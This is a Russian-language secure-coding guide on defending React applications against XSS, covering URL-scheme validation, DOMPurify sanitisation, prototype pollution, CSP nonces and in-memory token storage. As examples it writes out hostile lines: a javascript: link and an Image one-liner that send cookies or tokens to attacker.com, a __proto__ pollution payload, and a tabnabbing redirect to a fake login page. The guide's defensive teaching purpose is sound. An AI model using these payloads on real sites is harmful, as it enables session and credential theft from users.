Среди фронтенд-инженеров широко распространено опасное заблуждение: считается, что использование React само по себе полностью защищает веб-приложение от уязвимостей класса XSS (Cross-Site Scripting).
JSX-компилятор действительно по умолчанию экранирует текстовые значения, передаваемые между открывающим и закрывающим тегами:
const untrustedInput = '<script>alert("hacked")</script>';
// React отрендерит безопасный текстовый узел:
// <script>alert("hacked")</script>
<div>{untrustedInput}</div>Однако эта базовая защита бессильна перед широким спектром реальных векторов атак в энтерпрайз-приложениях:
href, src, formAction и action интерпретируют псевдопротоколы javascript: и vbscript: напрямую. Экранирование символов не предотвращает запуск кода браузерным движком при клике или отправке формы.dangerouslySetInnerHTML.localStorage или sessionStorage превращает любую уязвимость в любой из тысяч сторонних npm-зависимостей в мгновенный перехват сессии пользователя (Session Hijacking).iframe на вредоносном ресурсе без строгой директивы frame-ancestors.React защищает только текстовое содержимое JSX-нод от примитивной вставки тегов <script>. Он не валидирует протоколы ссылок, не фильтрует слияние объектов при десериализации, не контролирует мутации DOM и не изолирует токены от кражи через window и document.cookie. Архитектура enterprise-приложения требует эшелонированной обороны (Defense in Depth) на всех уровнях: от HTTP-заголовков до оперативной памяти.
Оборона React-приложения строится по принципу эшелонированной защиты (Defense in Depth): компрометация одного рубежа не должна приводить к падению всей системы безопасности.
┌────────────────────────────────────────────────────────────────────────┐
│ УРОВЕНЬ 1: СЕТЬ И ЗАГОЛОВКИ БЕЗОПАСНОСТИ │
│ Content-Security-Policy (CSP) со строгим криптографическим Nonce │
│ script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic'; │
│ frame-ancestors 'none'; base-uri 'self'; object-src 'none'; │
└───────────────────────────────────┬────────────────────────────────────┘
│ Блокирует исполнение неавторизованного JS
▼
┌────────────────────────────────────────────────────────────────────────┐
│ УРОВЕНЬ 2: ВАЛИДАЦИЯ И САНИТИЗАЦИЯ ВВОДА │
│ - DOMPurify: строгий whitelist разрешенных тегов и атрибутов │
│ - Валидация протоколов URL (только https: и http:) │
│ - Защита от Prototype Pollution: Object.freeze / Object.create(null) │
└───────────────────────────────────┬────────────────────────────────────┘
│ Нейтрализует инъекции в атрибуты и mXSS
▼
┌────────────────────────────────────────────────────────────────────────┐
│ УРОВЕНЬ 3: АРХИТЕКТУРА СЕССИЙ И ТОКЕНОВ │
│ - Refresh Token: куки HttpOnly; Secure; SameSite=Strict │
│ - Access Token: строго в оперативной памяти (In-Memory Heap) │
│ - Механизм Silent Refresh при 401 Unauthorized с очередью запросов │
└───────────────────────────────────┬────────────────────────────────────┘
│ Изолирует секреты от чтения скриптами
▼
┌────────────────────────────────────────────────────────────────────────┐
│ УРОВЕНЬ 4: БЕЗОПАСНЫЙ РЕНДЕРИНГ КОМПОНЕНТОВ │
│ - Явный whitelist пропсов вместо слепого спрэда <Comp {...payload} /> │
│ - Безопасные обертки <SafeLink> и <SafeHtmlRenderer> │
│ - Атрибуты rel="noopener noreferrer nofollow" для внешних ссылок │
└────────────────────────────────────────────────────────────────────────┘Фильтрация схем javascript:, vbscript:, data: во всех интерактивных элементах (<a>, <form>, <iframe>, window.open).
Подключение DOMPurify с жестким белым списком разрешенных тегов и блокировкой Mutation XSS для dangerouslySetInnerHTML.
Запрет слепого спрэда пропсов <Comp {...data} /> и санитизация входящих JSON-пейлоадов от ключей __proto__ и constructor.
Создание уникального криптографического хэша на каждый запрос и запрет директив unsafe-inline и unsafe-eval в CSP заголовках.
Полный отказ от localStorage для токенов. Перенос Refresh Token в HttpOnly-куку, а Access Token — в локальную память процесса.
Почему рендеринг ссылки вида <a href={userProvidedUrl}>Профиль</a> является критической XSS-уязвимостью, несмотря на встроенное экранирование JSX?
Вставка URL из недоверенного источника напрямую в атрибуты href, src, formAction или action позволяет злоумышленнику выполнить произвольный скрипт без добавления тега <script>:
// ❌ Уязвимый компонент: клик приведет к выполнению скрипта в контексте жертвы
export function UserProfileLink({ websiteUrl }: { websiteUrl: string }) {
// Если websiteUrl = "javascript:fetch('https://attacker.com/steal?c='+document.cookie)"
return <a href={websiteUrl}>Веб-сайт пользователя</a>;
}Для полной нейтрализации этого вектора создается защищенный компонент с валидацией схемы протокола через конструктор URL:
import React from 'react';
interface SafeLinkProps extends React.AnchorHTMLAttributes<HTMLAnchorElement> {
href: string;
fallbackText?: string;
}
const ALLOWED_PROTOCOLS = new Set(['https:', 'http:', 'mailto:', 'tel:']);
export function SafeLink({
href,
fallbackText,
children,
...restProps
}: SafeLinkProps) {
const isSafe = React.useMemo(() => {
try {
// Парсим относительно безопасного базового URL для отсева невалидных строк
const parsed = new URL(href, window.location.origin);
return ALLOWED_PROTOCOLS.has(parsed.protocol);
} catch {
return false;
}
}, [href]);
if (!isSafe) {
return (
<span className="text-text-muted cursor-not-allowed">
{fallbackText ?? children}
</span>
);
}
// Явно защищаем от Reverse Tabnabbing и утечки Referer
return (
<a
href={href}
target="_blank"
rel="noopener noreferrer nofollow"
{...restProps}
>
{children}
</a>
);
}Браузерные HTML-парсеры выполняют нормализацию разметки при вставке строки в innerHTML (закрывают незакрытые теги, исправляют ошибки вложенности). Злоумышленники используют это поведение для создания пейлоадов Mutation XSS: код, выглядящий абсолютно безвредным для примитивного регулярного выражения, после исправления браузером превращается в активный <script> или тег с событием onerror.
Для безопасного рендеринга HTML обязателен DOMPurify с жестко зафиксированным белым списком:
import React from 'react';
import DOMPurify from 'dompurify';
interface SafeHtmlRendererProps {
dirtyHtml: string;
className?: string;
}
export const SafeHtmlRenderer: React.FC<SafeHtmlRendererProps> = ({
dirtyHtml,
className,
}) => {
const cleanHtml = React.useMemo(() => {
return DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: [
'b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'
],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target', 'rel'],
FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
});
}, [dirtyHtml]);
return (
<div
className={className}
dangerouslySetInnerHTML={{ __html: cleanHtml }}
/>
);
};Атака Prototype Pollution происходит, когда внешние невалидированные JSON-данные рекурсивно сливаются с внутренними объектами приложения:
// ❌ Уязвимая функция глубокого слияния объектов
function naiveDeepMerge(target: any, source: any) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
naiveDeepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Если source = JSON.parse('{"__proto__": {"dangerouslySetInnerHTML": {"__html": "<img src=x onerror=alert(1)>"}}}')
// В результате Object.prototype.dangerouslySetInnerHTML становится активным для ВСЕХ компонентов!В сочетании со «слепым» спрэдом пропсов (<Component {...untrustedUserInput} />) это приводит к фатальным последствиям:
// ❌ Слепой спрэд пропсов: атакующий может прокинуть служебные атрибуты
export function UserProfileCard({ rawData }: { rawData: Record<string, unknown> }) {
return <div {...rawData} className="user-profile" />;
}
// ✅ Безопасный подход: строгая деструктуризация и белый список пропсов
interface SafeUserData {
id: string;
displayName: string;
avatarUrl?: string;
}
export function SafeUserProfileCard({ id, displayName, avatarUrl }: SafeUserData) {
return (
<div data-user-id={id} className="user-profile">
<span>{displayName}</span>
{avatarUrl && <img src={avatarUrl} alt={displayName} loading="lazy" />}
</div>
);
}Политика Content Security Policy (CSP) блокирует запуск любых сторонних скриптов, расширений и инъекций. Однако современным React-приложениям требуется выполнять скрипты гидратации и загружать чанки. Решение — CSP Nonce: сервер генерирует одноразовый криптографический ключ на каждый запрос и вставляет его в заголовок ответа и теги <script>.
import { NextResponse, type NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
// 1. Генерация криптографически стойкого случайного токена Nonce
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
// 2. Формирование строгой политики CSP
// 'strict-dynamic' передает доверие от доверенного скрипта его дочерним чанкам
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim();
// 3. Инъекция nonce в заголовки запроса (для Server Components) и ответа (для клиента)
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
requestHeaders.set('Content-Security-Policy', cspHeader);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
response.headers.set('Content-Security-Policy', cspHeader);
return response;
}Хранение JWT Access Token в localStorage категорически запрещено в корпоративных стандартах: любой синхронный скрипт на странице имеет доступ к хранилищу через window.localStorage.
Зрелая архитектура разделяет сессию на две сущности:
HttpOnly; Secure; SameSite=Strict. Недоступен для JavaScript./api/auth/refresh.Пользователь отправляет учетные данные. Сервер возвращает Access Token в теле JSON и выставляет HttpOnly Refresh Cookie.
Access Token сохраняется в приватной переменной замыкания менеджера авторизации. Никаких следов в localStorage/sessionStorage.
API возвращает статус 401 Unauthorized. Интерцептор перехватывает ошибку, блокирует отправку параллельных запросов и ставит их в очередь.
Браузер автоматически прикрепляет HttpOnly-куку. Сервер валидирует ее и возвращает свежий Access Token.
Все отложенные запросы из очереди автоматически повторяются с новым Access Token и возвращают данные в UI.
Почему директива 'strict-dynamic' в заголовке CSP script-src является ключевой для современных модульных React-приложений?
Ниже представлен production-артефакт для управления Access Token в оперативной памяти с автоматическим мьютексом рефреша, предотвращением эффекта Thundering Herd при параллельных запросах и типобезопасным клиентом authenticatedFetch:
/**
* Результат успешного обновления сессии
*/
interface TokenResponse {
accessToken: string;
expiresInSeconds: number;
}
type RefreshSubscriber = (token: string | null) => void;
/**
* Singleton-менеджер сессионных токенов в оперативной памяти.
* Полностью изолирован от window.localStorage и sessionStorage.
*/
export class InMemoryAuthManager {
private static instance: InMemoryAuthManager | null = null;
private accessToken: string | null = null;
private expiresAt: number = 0;
private isRefreshing: boolean = false;
private refreshSubscribers: RefreshSubscriber[] = [];
private constructor() {}
public static getInstance(): InMemoryAuthManager {
if (!InMemoryAuthManager.instance) {
InMemoryAuthManager.instance = new InMemoryAuthManager();
}
return InMemoryAuthManager.instance;
}
/**
* Сохранение токена в оперативной памяти процесса с временным буфером безопасности.
* Буфер в 30 секунд гарантирует, что токен не протухнет прямо в полете запроса.
*/
public setToken(token: string, expiresInSeconds: number): void {
this.accessToken = token;
const safetyBufferMs = 30 * 1000;
this.expiresAt = Date.now() + Math.max(0, expiresInSeconds * 1000 - safetyBufferMs);
}
/**
* Полный сброс токена (например, при логауте или фатальной ошибке авторизации)
*/
public clearToken(): void {
this.accessToken = null;
this.expiresAt = 0;
}
/**
* Проверка истечения срока действия токена
*/
public isTokenExpired(): boolean {
if (!this.accessToken) return true;
return Date.now() >= this.expiresAt;
}
/**
* Получение действующего Access Token с автоматическим бесшумным рефрешем
*/
public async getValidToken(): Promise<string | null> {
if (this.accessToken && !this.isTokenExpired()) {
return this.accessToken;
}
// Если рефреш уже выполняется параллельным запросом, встаем в очередь ожидания
if (this.isRefreshing) {
return new Promise<string | null>((resolve) => {
this.refreshSubscribers.push((freshToken) => {
resolve(freshToken);
});
});
}
return this.refreshAccessToken();
}
/**
* Выполнение запроса на ротацию токена.
* Браузер автоматически прикрепляет HttpOnly-куку refreshToken к запросу.
*/
private async refreshAccessToken(): Promise<string | null> {
this.isRefreshing = true;
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
});
if (!response.ok) {
this.clearToken();
this.notifySubscribers(null);
return null;
}
const data = (await response.json()) as TokenResponse;
this.setToken(data.accessToken, data.expiresInSeconds);
this.notifySubscribers(data.accessToken);
return data.accessToken;
} catch (error: unknown) {
this.clearToken();
this.notifySubscribers(null);
const errorMessage = error instanceof Error ? error.message : 'Unknown auth error';
console.error('[AuthSecurity] Silent refresh error:', errorMessage);
return null;
} finally {
this.isRefreshing = false;
}
}
private notifySubscribers(token: string | null): void {
this.refreshSubscribers.forEach((callback) => callback(token));
this.refreshSubscribers = [];
}
}
export const authManager = InMemoryAuthManager.getInstance();
/**
* Типобезопасная обертка над native fetch с автоматической инъекцией Bearer-токена
* и обработкой 401 Unauthorized с повтором исходного запроса.
*/
export async function authenticatedFetch(
input: RequestInfo | URL,
init?: RequestInit
): Promise<Response> {
let token = await authManager.getValidToken();
const headers = new Headers(init?.headers);
if (token) {
headers.set('Authorization', `Bearer ${token}`);
}
let response = await fetch(input, { ...init, headers });
// Если сервер вернул 401, пробуем принудительно обновить токен один раз
if (response.status === 401) {
authManager.clearToken();
token = await authManager.getValidToken();
if (token) {
headers.set('Authorization', `Bearer ${token}`);
response = await fetch(input, { ...init, headers });
}
}
return response;
}Разработчики нередко выбирают localStorage из-за простоты сохранения состояния между перезагрузками вкладок. Однако любая XSS-уязвимость (включая бэкдор в транзитивной npm-зависимости) позволяет злоумышленнику украсть токен в одну строчку: new Image().src = 'https://attacker.com/steal?t=' + localStorage.getItem('token').
// ❌ Фатальная уязвимость: токен полностью открыт для чтения любым скриптом
localStorage.setItem('access_token', token);
// ✅ Enterprise-стандарт: Refresh Token в HttpOnly-куке + Access Token в памяти
// document.cookie не имеет доступа к HttpOnly кукам!
authManager.setToken(token, expiresIn);Передача неизвестного внешнего объекта <Component {...untrustedUserInput} /> позволяет злоумышленнику внедрить служебные пропсы dangerouslySetInnerHTML, onLoad или переопределить свойства виртуального дерева через загрязнение прототипа (__proto__).
// ❌ Антипаттерн: злоумышленник прокидывает dangerouslySetInnerHTML через JSON
export function UserBadge({ profile }: { profile: Record<string, unknown> }) {
return <div {...profile} className="badge" />;
}
// ✅ Правильное решение: явный белый список допустимых пропсов
export function SafeUserBadge({ name, role }: { name: string; role: string }) {
return (
<div className="badge">
<span>{name}</span>
<small>{role}</small>
</div>
);
}Попытка «быстро решить» проблему неработающих стилей или скриптов добавлением директивы 'unsafe-inline' полностью аннулирует защиту Content Security Policy от XSS-инъекций. Браузер начинает беспрепятственно исполнять любые внедренные теги <script> и события onload/onerror. Для скриптов гидратации используйте строго криптографический nonce или SHA-256 хэши.
Открытие непроверенных внешних ссылок в новой вкладке без флага noopener позволяет открытой странице получить доступ к объекту window.opener и выполнить атаку Reverse Tabnabbing (подмену адреса исходной вкладки на фишинговый сайт window.opener.location = 'https://fake-login.com').
href, src и formAction требуют обязательной проверки схемы URL через класс URL.dangerouslySetInnerHTML допустимо исключительно в связке с DOMPurify и жестко зафиксированным белым списком разрешенных тегов и атрибутов для предотвращения Mutation XSS (mXSS).{...untrustedData}) создает уязвимость к атакам Prototype Pollution: используйте строгую деструктуризацию и типизированные контракты.'strict-dynamic' защищает приложение от выполнения неавторизованных скриптов.localStorage недопустимо в enterprise-системах: золотой стандарт — In-Memory Access Token + HttpOnly Refresh Cookie с механизмом Silent Refresh и очередью отложенных запросов.